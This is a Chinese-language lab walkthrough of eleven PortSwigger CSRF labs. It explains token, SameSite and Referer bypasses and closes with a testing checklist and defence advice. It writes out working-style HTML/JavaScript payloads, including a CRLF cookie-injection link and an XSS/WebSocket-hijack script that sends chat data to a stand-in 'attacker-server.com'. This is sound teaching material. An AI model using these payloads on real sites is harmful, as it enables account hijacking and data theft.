CSRF防御机制深度解析:从Token绕过到SameSite Cookie实战
1. 项目概述从靶场实战看CSRF防御的脆弱性CSRF跨站请求伪造一个听起来有点老生常谈的Web安全漏洞。很多开发者甚至是一些安全从业者都认为只要给表单加个Token或者检查一下Referer头就能高枕无忧了。但现实真的如此吗PortSwigger的Web安全学院也就是大家常说的BP靶场专门设计了一系列CSRF实验室它们像是一面镜子清晰地照出了那些看似坚固的防御措施背后隐藏着多少种被绕过的可能性。这11个靶场从最基础的“无防御”状态一步步升级到需要结合SameSite Cookie策略、客户端重定向甚至跨站WebSocket劫持CSWSH才能攻破的复杂场景完整地勾勒出了一条攻击者视角下的“破防”路径。我花了相当一段时间逐个通关了这些靶场。整个过程下来最大的感触是安全防御从来不是“加个开关”那么简单。每一个防御机制无论是Token验证的逻辑、Cookie的SameSite属性还是Referer检查的严格程度如果设计时考虑不周、实现时存在瑕疵都可能为攻击者留下一道“后门”。这篇文章我就以一个实战参与者的身份带你深入拆解这11种绕过姿势。我不会只给你一个最终的Payload而是会详细还原我当时的思考过程、测试步骤以及遇到坑点时是如何调整策略的。无论你是正在学习Web安全的初学者还是想巩固CSRF攻防知识的安全工程师相信这些从靶场中提炼出的“花式”技巧和背后的原理分析都能给你带来新的启发。2. 核心思路拆解理解防御机制与攻击本质在开始逐个击破之前我们必须先统一思想CSRF攻击的核心是什么防御的核心又是什么只有理解了这两点我们才能看懂每一种绕过手法的精妙之处。2.1 CSRF攻击的本质冒用身份执行非授权操作简单来说CSRF就是攻击者诱骗已经登录了目标网站例如银行网站的用户去访问一个恶意页面。这个恶意页面会携带用户的身份凭证通常是Cookie向目标网站发起一个用户不知情的请求比如转账。因为浏览器会自动携带该站点的Cookie服务器看到这个带有合法会话的请求就会认为是用户本人发起的从而执行操作。攻击成立需要几个关键条件用户已登录并持有有效的会话凭证Cookie、Session ID等。网站存在可以被预测或伪造的敏感操作端点如修改邮箱、转账的API。该端点缺乏足够且正确的验证机制来区分请求是来自用户本意还是伪造的。2.2 主流防御机制及其潜在弱点靶场中涉及的防御机制正是业界常见的几种方案但每一种都有其“命门”CSRF Token令牌这是最经典的防御。服务器在渲染表单时生成一个随机、不可预测的Token嵌入表单隐藏域。提交时服务器验证这个Token是否与当前会话绑定的Token一致。弱点在于Token的生成、存储、验证逻辑是否严谨是否与会话强绑定是否检查了请求方法SameSite Cookie属性这是一个浏览器端的防御机制。通过设置Cookie的SameSite属性为Lax或Strict可以限制Cookie在跨站请求时是否被发送。Strict最严格完全禁止跨站携带Cookie。Lax相对宽松允许在顶级导航如点击链接的GET请求中携带Cookie。弱点在于浏览器的实现、特定场景下的“链式”请求以及SameSiteNone必须配合Secure的配置错误。验证Referer/Origin头服务器检查HTTP请求头中的Referer来源页或Origin来源域判断请求是否来自本站点。弱点在于Referer头可能被浏览器策略如Referrer-Policy抑制、被篡改或者后端验证逻辑存在缺陷如字符串包含检查而非严格域名匹配。自定义请求头要求敏感操作如POST必须携带一个自定义的HTTP头如X-Requested-With: XMLHttpRequest。因为浏览器同源策略限制攻击者无法通过form或img标签跨域添加自定义头。弱点在于如果网站同时支持非Ajax的普通表单提交此防御可能失效。PortSwigger的靶场巧妙之处在于它并没有直接否定这些机制而是假设它们“存在但有问题”。我们的任务就是找到这些问题所在。2.3 攻击者的核心思路寻找验证逻辑的“缝隙”面对一道CSRF题目我的通用解题思路是这样的信息收集与基线测试首先正常登录完成一次目标操作如修改邮箱用Burp Suite抓包。观察请求中包含了哪些防御元素Token、Cookie的SameSite属性、Referer头。假设与验证根据题目描述或观察提出一个关于防御机制如何工作的假设。例如“Token是否验证了请求方法”、“删除Referer头会怎样”。控制变量测试在Repeater中修改请求的单个变量只改Token、只改方法、只删Referer观察服务器的响应。成功的绕过往往源于验证逻辑的不完整比如只验证POST请求的Token不验证GET请求。构造攻击向量一旦找到绕过方法就需要构造一个能在受害者浏览器中自动发起的攻击。通常使用一个隐藏的HTML表单通过JavaScript自动提交document.forms[0].submit()。对于更复杂的场景可能需要利用img标签触发GET请求或者通过JavaScript进行客户端重定向。利用漏洞服务器PortSwigger靶场提供了一个“漏洞服务器”Exploit Server用于托管我们的恶意HTML页面并模拟攻击者向受害者模拟用户发送链接的过程。实操心得不要一上来就想复杂的绕过。很多时候最简单的测试就能发现漏洞比如直接删除Token参数、将POST改为GET。养成“先测试最明显假设”的习惯能节省大量时间。3. 11种绕过姿势的深度解析与实战复现下面我将按照从易到难、从逻辑缺陷到组合利用的顺序详细拆解这11个靶场。我会提供具体的操作步骤、关键的Burp截图分析点用文字描述替代以及核心的Payload构造思路。3.1 无防御的CSRF漏洞这是最基础的关卡旨在建立信心和熟悉流程。场景一个修改邮箱的功能没有任何Token、Referer检查或SameSite限制。攻击过程登录账户进入修改邮箱页面提交修改并抓包。你会发现请求就是一个简单的POST包含email和submit参数Cookie中带有会话。在Burp Suite的Proxy历史记录中右键该请求选择Engagement tools - Generate CSRF PoC。Burp会自动生成一个包含隐藏表单和自动提交脚本的HTML页面。将生成的HTML代码复制到漏洞服务器的Body部分点击“Store”保存再点击“Deliver exploit to victim”发送给模拟受害者。攻击成功受害者的邮箱被修改。核心Payload分析html body form actionhttps://vulnerable-website.com/email/change methodPOST input typehidden nameemail valueattackerevil.com / input typesubmit valueSubmit request / /form script history.pushState(, , /); // 可选用于清除地址栏中的查询参数使攻击更隐蔽 document.forms[0].submit(); /script /body /html这个Payload就是CSRF攻击的“教科书”示例。history.pushState是为了让地址栏看起来更“干净”避免受害者警觉。3.2 令牌验证取决于请求方法场景网站使用了CSRF Token但它的验证逻辑有缺陷只对POST请求进行Token验证对GET请求则不验证。攻击过程正常抓取修改邮箱的POST请求发现请求体中包含csrf参数。在Repeater中尝试修改csrf的值请求被拒绝说明Token验证是生效的。关键测试将请求方法从POST改为GET同时将参数移到URL查询字符串中?emailattackerevil.comcsrfwrongtokensubmit1。发送请求。发现请求成功了这说明后端逻辑可能是if (request.method POST) { validateToken(); }。对于GET请求它直接放行了。因此攻击Payload只需要构造一个GET请求即可。可以使用img src”…”标签或者将表单的method改为GET。构造GET请求的Payloadimg srchttps://vulnerable-website.com/email/change?emailattackerevil.comsubmit1 onerrordocument.forms[0].submit()这里用了一个小技巧img标签的src属性会发起一个GET请求。我们把它指向修改邮箱的URL。由于这个URL通常不会返回图片所以会触发onerror事件进而提交下面的表单如果有的话。更直接的方式是只用一个img标签只要请求发出即使加载失败目的也已达到。注意事项使用img标签触发GET请求是CSRF攻击的常见手法但要注意目标端点是否对GET请求敏感操作做了防护如要求POST。这个靶场正是利用了这个“防护不一致”的漏洞。3.3 令牌验证取决于令牌是否存在场景网站的Token验证逻辑是只要请求中有csrf参数就验证其值如果根本没有这个参数则跳过验证。攻击过程抓取正常请求尝试修改csrf参数的值请求被拒。关键测试在Repeater中直接删除整个csrf参数而不仅仅是修改它的值。发送请求。请求成功这说明验证函数可能类似于if (‘csrf’ in request.params) { validateToken(); }。因此攻击Payload在生成后需要手动编辑HTML删除表单中那个隐藏的input type”hidden” name”csrf” …标签。Payload修改关键 使用Burp生成PoC后你会得到包含Token的表单。你需要手动移除类似下面这行input type”hidden” name”csrf” value”abc123def456″ /让表单只提交email和submit参数。这样当表单提交时请求体中就不会包含csrf字段从而绕过验证。3.4 令牌与用户会话不绑定场景网站使用了Token但Token没有与当前用户的会话Session绑定。这意味着只要是一个有效的Token无论来自哪个用户都可以通过验证。攻击过程靶场提供了两个账户wiener和carlos。用wiener账户登录修改邮箱抓包获取一个当前有效的Token记作Token_A。保持wiener页面不动在另一个浏览器或标签页登录carlos账户。在carlos的会话中尝试修改邮箱并抓包。在Repeater中将carlos请求中的csrf参数值替换为刚才从wiener那里获取的Token_A。发送请求发现carlos的邮箱也被成功修改了。这说明服务器只验证Token本身的有效性是否由服务器签发且在有效期内而不验证这个Token是否属于当前发起请求的会话。攻击利用 攻击者可以自己先注册或登录一个账户获取一个合法的Token。然后在针对受害者的CSRF攻击Payload中就使用这个Token。因为Token不与会话绑定所以受害者的浏览器会用这个Token发起请求服务器会认为是有效的。实操心得这种漏洞非常危险因为它使得Token完全失去了防御意义。在开发中Token必须与用户会话IDSession ID在服务器端进行强关联存储和校验。3.5 将令牌与非会话Cookie绑定场景这个场景稍微复杂。网站引入了第二个Cookie例如csrfKey。服务器验证Token时不仅检查Token本身还检查Token是否与当前请求中的csrfKey这个Cookie的值相匹配。但问题在于csrfKey这个Cookie也没有和用户会话绑定。攻击过程再次使用两个账户wiener和carlos。观察carlos修改邮箱的请求除了会话Cookie还有一个csrfKeyxyz789的Cookie请求体中包含csrfabc123。假设我们推测Token的验证逻辑是csrf必须与csrfKey配对。我们需要为受害者carlos同时准备一个有效的Token和与之配对的csrfKey。从哪里来从攻击者自己的账户wiener那里。登录wiener抓取其修改邮箱的请求获取其csrfKeywiener_key和csrfwiener_token这对组合。构造针对carlos的CSRF攻击Payload。这个Payload需要做两件事发起一个请求为carlos的浏览器设置CookiecsrfKeywiener_key。然后提交表单表单中包含csrfwiener_token。如何设置受害者的Cookie这利用了HTTP响应头注入或Cookie投毒的技术。假设目标网站有一个搜索功能搜索关键词会反射回响应页面且没有正确过滤换行符\r\n。我们构造一个搜索请求关键词为test\r\nSet-Cookie: csrfKeywiener_key。%0d%0a是URL编码后的\r\n。当受害者访问这个恶意搜索链接时服务器返回的HTTP响应头中就会包含我们注入的Set-Cookie: csrfKeywiener_key从而在受害者浏览器中设置了这个Cookie。紧接着页面中的CSRF表单携带csrfwiener_token被自动提交。此时请求中Cookie里有了csrfKeywiener_key表单数据里有csrfwiener_token配对成功绕过验证。Payload构造思路需结合具体漏洞点 攻击页面可能包含一个自动加载的图片其src指向那个能注入Cookie的搜索URL然后通过JavaScript延迟提交表单。img srchttps://vulnerable-website.com/search?termtest%0d%0aSet-Cookie:%20csrfKeywiener_key styledisplay:none; script setTimeout(function() { document.forms[0].submit(); }, 1000); /script form methodPOST actionhttps://vulnerable-website.com/email/change input typehidden nameemail valueattackerevil.com input typehidden namecsrf valuewiener_token /form3.6 Cookie中存在重复的Token双重提交缺陷场景网站采用了“双重提交Cookie”的防御模式。除了在表单中提交Token服务器还会在HTTP响应中设置一个同名的Cookie例如csrftoken_value。后端验证时只检查请求参数中的Token和请求头Cookie中的Token值是否相等而不验证这个Token是否与当前会话相关。攻击过程正常操作抓包。你会发现响应头里有一个Set-Cookie: csrfabc123同时表单里也有一个input name”csrf” value”abc123″。在Repeater中测试只修改表单中的csrf值请求失败只修改Cookie头中的csrf值请求也失败但同时将两者修改为相同的另一个值如hacked请求成功。这证实了验证逻辑if (request.cookies[‘csrf’] request.params[‘csrf’]) { pass }。攻击利用 攻击者需要让受害者的浏览器在发起恶意请求时其Cookie中携带一个与表单Token值相同的csrfCookie。攻击者先决定一个Token值例如hacked。构造CSRF表单其中的Token值设为hacked。在攻击页面中需要先让受害者浏览器收到一个Set-Cookie: csrfhacked的响应。这可以通过加载一个攻击者控制的、能设置Cookie的第三方资源或者利用目标站点的另一个设置Cookie的端点且该端点不验证来源来实现。在PortSwigger靶场中通常可以利用一个未受保护的路径通过img标签加载并在响应中注入Set-Cookie头。攻击Payload的核心是确保设置Cookie的请求先于提交表单的请求发生。关键技巧由于浏览器对跨域设置Cookie有严格限制需要SameSiteNone和Secure这种攻击在实际中往往需要结合目标站点的其他子域漏洞或配置错误才能实现。靶场简化了这个条件。3.7 通过方法覆盖绕过SameSite Lax场景网站没有使用Token但会话Cookie被设置为SameSiteLax或默认行为。根据Lax的规则浏览器会在顶级导航的GET请求中发送Cookie。然而修改邮箱的操作要求是POST请求而跨站的POST请求不会携带Lax的Cookie。绕过思路我们需要将一次跨站请求“伪装”成一次顶级导航的GET请求。这里用到了HTTP的方法覆盖Method Override技巧。有些Web框架如Express.js的method-override中间件支持通过查询参数如_methodPOST或请求头如X-HTTP-Method-Override: POST来覆盖实际的HTTP方法。攻击过程确认目标操作端点支持方法覆盖。通常可以通过发送一个GET请求但带上_methodPOST参数来测试。在靶场中我们发现向/email/change?emailattackerevil.com_methodPOST发起GET请求等同于发起POST请求。由于这是一个由img标签或地址栏导航发起的GET请求且属于顶级导航浏览器会携带SameSiteLax的Cookie。服务器端接收到这个GET请求后因为_methodPOST参数将其当作POST请求处理从而执行了修改邮箱的操作。Payload构造img srchttps://vulnerable-website.com/email/change?emailattackerevil.com_methodPOSTsubmit1一个简单的img标签即可完成攻击。当受害者访问恶意页面时浏览器会尝试加载这个“图片”实际上发起了一个携带会话Cookie的GET请求并由于方法覆盖成功执行了POST操作。3.8 通过客户端重定向绕过SameSite Strict场景会话Cookie被设置为SameSiteStrict。这是最强的限制任何跨站请求都不会携带Cookie。但是如果用户在目标网站内部发起导航Cookie是会被携带的。绕过思路我们需要制造一种场景让受害者“主动”在目标网站内部发起导航。客户端重定向Client-side Redirect给了我们机会。如果目标网站存在一个开放重定向漏洞或者有一个使用JavaScript进行重定向的页面例如“评论提交成功3秒后返回”并且这个重定向的目标地址我们可以控制那么攻击链就成立了。攻击过程在靶场中我们发现发表博客评论后会跳转到/post/comment/confirmation?postIdX该页面通过JavaScriptcommentConfirmationRedirect.js在几秒后重定向回博客页面。我们尝试修改postId参数利用路径遍历/post/comment/confirmation?postId1/../../my-account。发现成功重定向到了用户的账户页面并且浏览器携带了Strict的Cookie因为这次重定向被视为站内导航链的一部分。进一步我们发现修改邮箱的端点也接受GET请求/my-account/change-email?emailattackerevil.comsubmit1。因此最终的攻击链是诱导受害者访问我们控制的恶意页面 - 该页面通过JavaScript如document.location将用户导航到目标站点的重定向端点并指向修改邮箱的URL - 浏览器将其视为一次站内导航链携带Cookie - 重定向发生GET请求修改邮箱。Payload构造 恶意页面包含如下脚本script document.location https://vulnerable-website.com/post/comment/confirmation?postId1/../../my-account/change-email?emailattackerevil.com%26submit1; /script这里%26是的URL编码用于确保整个字符串作为postId参数的值传递给重定向端点重定向后的目标URL会将其解析为新的查询字符串。3.9 通过同级域绕过SameSite Strict场景同样是SameSiteStrict但目标站点存在一个同级域或叫兄弟域Sibling Domain例如主站是www.vulnerable-website.com存在一个cms.vulnerable-website.com。浏览器的SameSite规则是基于“有效顶级域名1”eTLD1的。www和cms属于同一个eTLD1vulnerable-website.com因此它们之间的请求在特定条件下不被视为严格的“跨站”。攻击过程此关卡结合了CSWSH目标是一个在线聊天应用使用WebSocketCookie为Strict。我们发现存在一个同级域cms.vulnerable-website.com并且其登录功能存在反射型XSS漏洞。核心思路由于Strict限制直接从攻击者网站evil.com发起WebSocket连接到主站不会携带Cookie。但是如果攻击发生在cms子域上由于是同站Same-SiteCookie会被携带。我们利用cms子域的XSS漏洞注入一个恶意脚本。当受害者访问我们构造的cms子域链接时XSS脚本在其浏览器中cms子域的上下文中执行。该脚本从cms子域内部向主站的WebSocket端点wss://www.../chat发起连接。因为是从cms.vulnerable-website.com到www.vulnerable-website.com属于同站请求Strict的Cookie会被发送连接建立成功。脚本通过WebSocket窃取聊天记录并外传。Payload构造简化版 攻击者诱导受害者访问一个URL该URL触发cms子域的XSShttps://cms.vulnerable-website.com/login?usernamescriptvar ws new WebSocket(wss://www.vulnerable-website.com/chat); ws.onopenfunction(){ws.send(READY);}; ws.onmessagefunction(e){fetch(https://attacker-server.com/leak?databtoa(e.data));};/scriptpasswordany当受害者已登录主站访问此链接cms子域的页面会执行脚本脚本在同站环境下建立WebSocket连接并窃取数据。注意事项这种攻击非常巧妙它利用了“同站”与“跨站”定义的细微差别。对于关键业务应考虑将不同功能的子域彻底隔离使用不同的顶级域名或对所有子域应用严格的CORS和Cookie策略。3.10 通过Cookie刷新绕过SameSite Lax场景Cookie为SameSiteLax且操作需要POST请求无法用方法覆盖可能端点不支持。但网站提供了OAuth社交登录功能登录后会刷新用户的会话Cookie。绕过思路SameSiteLax允许在顶级导航的GET请求中发送Cookie。如果我们能诱使受害者的浏览器先发起一个GET请求来刷新重新设置Cookie然后立即发起CSRF攻击那么攻击请求就有可能携带上这个新刷新的Cookie。关键在于刷新Cookie的请求和CSRF请求需要紧密接连且属于同一个“导航会话”。攻击过程构造一个恶意页面该页面包含一个隐藏的iframe或通过window.open打开一个新标签页指向目标网站的OAuth登录入口如/social-login。如果受害者之前已经授权过该OAuth应用访问此入口可能会无感地刷新其会话Cookie。在恶意页面中使用setTimeout延迟几秒后自动提交CSRF表单。理想情况下刷新Cookie的请求完成后紧接着的CSRF请求就能带上新的有效Cookie。Payload构造Click anywhere on the page to see a funny cat video! script window.onclick () { // 打开新标签页触发OAuth流程刷新会话Cookie window.open(https://vulnerable-website.com/social-login); // 等待几秒确保Cookie刷新完成 setTimeout(changeEmail, 5000); } function changeEmail() { document.forms[0].submit(); } /script form methodPOST actionhttps://vulnerable-website.com/email/change input typehidden nameemail valueattackerevil.com /form这里通过要求用户点击来绕过浏览器的弹窗拦截并建立用户交互的上下文使得后续的请求链更可能被浏览器视为相关。3.11 Referer验证的两种绕过这两种场景展示了Referer头验证的常见缺陷。场景一验证取决于标头是否存在漏洞逻辑服务器检查Referer头但如果请求中根本没有Referer头则予以放行。这可能是因为代码逻辑是if (referer !referer.startsWith(‘https://trusted-domain.com’)) { block(); }。当referer为null或空时条件不成立请求通过。攻击抑制Referer头的发送。可以通过在HTML页面中添加meta name”referrer” content”no-referrer”标签或者使用Fetch API并设置referrerPolicy: ‘no-referrer’。对于传统的表单提交有些浏览器行为或旧式标签如img也可能在某些情况下不发送Referer。Burp生成的PoC通常自带meta标签来抑制Referer。场景二损坏的Referer验证漏洞逻辑服务器验证Referer头中是否包含预期的域名字符串如web-security-academy.net而不是检查它是否等于或以该域名开头。这属于字符串包含检查的缺陷。攻击构造一个Referer头其中包含目标域名但该域名不是真正的来源。例如攻击者可以将恶意页面托管在https://attacker.com/?web-security-academy.net。当受害者从这个页面提交表单时Referer头可能是https://attacker.com/?web-security-academy.net。这个字符串包含了web-security-academy.net通过了后端简单的contains()检查从而绕过验证。Payload构造关键在Burp生成PoC后需要修改表单的actionURL或使用history.pushState在当前页面的URL后附加目标域名作为查询参数或片段。script history.pushState(, , /?web-security-academy.net); /script form methodPOST actionhttps://vulnerable-website.com/email/change ... /form同时在HTML的head中添加meta name”referrer” content”unsafe-url”确保完整的URL包含查询参数?web-security-academy.net被作为Referer发送。4. 实战中的排查技巧与防御建议走完这11个靶场相当于经历了一次完整的CSRF攻防演练。在实际的安全测试或代码审计中我们可以借鉴这些思路。4.1 攻击视角的排查清单当面对一个可能存在CSRF漏洞的功能点时可以按以下清单进行测试基础测试尝试删除Token、将POST改为GET、删除Referer头。这是最快发现低级漏洞的方法。Token逻辑测试Token是否与会话绑定用两个账户交换Token测试。Token是否一次性使用重复使用同一个Token看是否被拒绝。Token验证是否依赖请求方法分别用GET/POST测试。Token是否在Cookie中重复检查请求和响应的Cookie。Cookie策略检查检查关键Cookie的SameSite属性。如果是Lax尝试用方法覆盖或Cookie刷新绕过。如果是Strict寻找站内重定向或同级域漏洞。Referer/Origin检查删除该头。修改该头为错误值、空值、其他域名。尝试在该头中嵌入目标域名字符串包含绕过。测试Origin头用于CORS是否被用作备用检查以及其验证逻辑。寻找辅助漏洞检查是否有设置Cookie的端点存在CRLF注入是否有开放重定向是否有同级域的XSS等这些都可能成为绕过CSRF防御的跳板。4.2 开发者视角的防御铁律从这些绕过案例中我们可以总结出真正有效的CSRF防御最佳实践使用同步器令牌模式Synchronizer Token Pattern生成强随机数Token必须是加密学安全的随机数足够长且不可预测。与会话强绑定在服务器端将Token与当前用户的会话ID关联存储如保存在Session中。每个表单/会话唯一最好每个敏感表单生成独立的Token或定期刷新。严格验证对于任何改变状态的请求POST, PUT, DELETE, PATCH必须验证Token是否存在、是否有效、是否与当前会话匹配。验证逻辑要完整无论请求方法如何。正确实施SameSite Cookie对于会话Cookie默认设置为SameSiteLax是良好的平衡。对于需要跨站使用的Cookie如第三方登录状态必须显式设置为SameSiteNone; Secure。理解Lax和Strict的语义避免关键操作仅依赖GET请求。谨慎使用Referer/Origin验证仅作为补充防御而非主要手段因为其可靠性受浏览器环境和用户配置影响。如果使用必须进行严格的全等匹配或白名单前缀匹配避免使用不安全的字符串包含检查。处理Referer头缺失的情况应默认拒绝而非放行。启用框架防护使用X-Frame-Options: DENY或Content-Security-Policy: frame-ancestors ‘none’来防止页面被嵌入到iframe中这可以增加点击劫持和某些CSRF攻击的难度。对敏感操作要求二次验证对于关键操作如修改密码、转账引入密码、短信验证码、生物识别等二次验证这能从本质上防御CSRF。避免使用GET请求进行状态更改严格遵守HTTP语义GET请求应是幂等的、安全的。所有改变数据的操作都应使用POST、PUT、DELETE等方法。CSRF是一个经典的“逻辑漏洞”它的防御不在于使用了多么高深的技术而在于每一个细节是否都考虑周全、实现严谨。PortSwigger的这11个靶场就像11个精心设计的谜题解开它们的过程正是对我们安全思维的一次绝佳训练。下次当你看到表单里的那个CSRF Token时不妨多想一步它真的安全吗